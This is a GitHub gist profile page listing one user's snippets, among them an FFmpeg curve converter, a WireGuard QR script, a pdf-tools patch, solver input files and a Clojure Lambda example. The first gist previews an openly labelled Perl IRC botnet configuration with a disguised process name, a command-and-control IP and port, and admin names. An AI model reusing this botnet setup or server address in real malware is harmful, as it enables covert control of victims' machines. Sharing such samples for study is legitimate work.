Skip to content

Instantly share code, notes, and snippets.

View carlosgeos's full-sized avatar
🛵

Carlos Requena López carlosgeos

🛵
View GitHub Profile
@carlosgeos
carlosgeos / malware.pl
Last active February 20, 2020 07:50
Classic brazilian botnet
my $processo = 'rsync';
$servidor='45.9.148.125' unless $servidor;
my $porta='443';
my @canais=("#007");
my @adms=("A","X");
my @auth=("localhost");
my $linas_max=6;
my $sleep=3;
@carlosgeos
carlosgeos / gimp2acv.py
Created February 19, 2019 20:24
Converts GIMP colour curve to something the FFmpeg can read in the curve filter
# Python 3
# stolen from: https://video.stackexchange.com/questions/16352/converting-gimp-curves-files-to-photoshop-acv-for-ffmpeg
# the result in the Final Command section can be directly pasted into the ffmpeg command.
import re
#make generator
lower=0
upper=1
length=256
@carlosgeos
carlosgeos / to-qrcode.sh
Created February 19, 2019 20:20
WireGuard .conf files -> QRCode
# Transforms WireGuard .conf files into QRCodes, to
# easily import them using the Android WireGuard App
for f in $(find . -name '*.conf'); do
qrencode -t ansiutf8 -o ${f%.*}-qrcode.txt < $f;
done
@carlosgeos
carlosgeos / retina.patch
Last active October 19, 2019 01:40 — forked from jsks/retina.patch
YAMAMOTO Mitsuharu's patch for pdf-tools on MacOS https://lists.gnu.org/archive/html/emacs-devel/2016-04/msg00648.html. Copy to pdf-tools ELPA folder and run `patch < retina.patch`
diff --git a/pdf-annot.el b/pdf-annot.el
index b0ff3c2..82cf122 100644
--- a/pdf-annot.el
+++ b/pdf-annot.el
@@ -981,6 +981,7 @@ other annotations."
(pdf-cache-renderpage-highlight
page (car size)
`("white" "steel blue" 0.35 ,@edges))
+ :width (car size)
:map (pdf-view-apply-hotspot-functions

Keybase proof

I hereby claim:

  • I am carlosgeos on github.
  • I am carlosgeos (https://keybase.io/carlosgeos) on keybase.
  • I have a public key whose fingerprint is 6863 D7E9 4CE2 B943 AF38 520E 4CB4 85A1 9017 472A

To claim this, I am signing this object:

@carlosgeos
carlosgeos / problem.cnf
Created August 31, 2018 22:17
Simple CNF input file to use with MiniSat
c
c lines starting with c are comments
c
c A sample problem in CNF form, to use as input to minisat
c Usage:
c $ ./minisat problem.cnf solution.out
c solution.out will read "SAT" is there is a solution and the values
c that the variables take in that case
c further solutions can be found, for example, adding another line
c containing the negated solution obtained in the first case
@carlosgeos
carlosgeos / linear-problem.mod
Last active August 21, 2018 20:13
linear-problem.mod
\ Simple Linear programming problem
\ run with
\ $ glpsol --lp linear-problem.mod -o solution.sol
\ and check result in the solution file
Maximize
obj: 4x1 + 6x2
Subject To
first: -x1 + x2 <= 11
@carlosgeos
carlosgeos / hello.clj
Last active January 26, 2019 16:30
How to run Clojure code on AWS Lambda
(ns some-app.hello
(:gen-class
:methods [^:static [handler [String] String]])
(:require [clj-time.core :as t]))
(defn -handler [s]
(let [time_now (t/to-time-zone (t/now) (t/time-zone-for-id "Europe/Brussels")) ]
(str "Hello " s "! " "The time is now: "
(t/hour time_now) ":" (t/minute time_now))))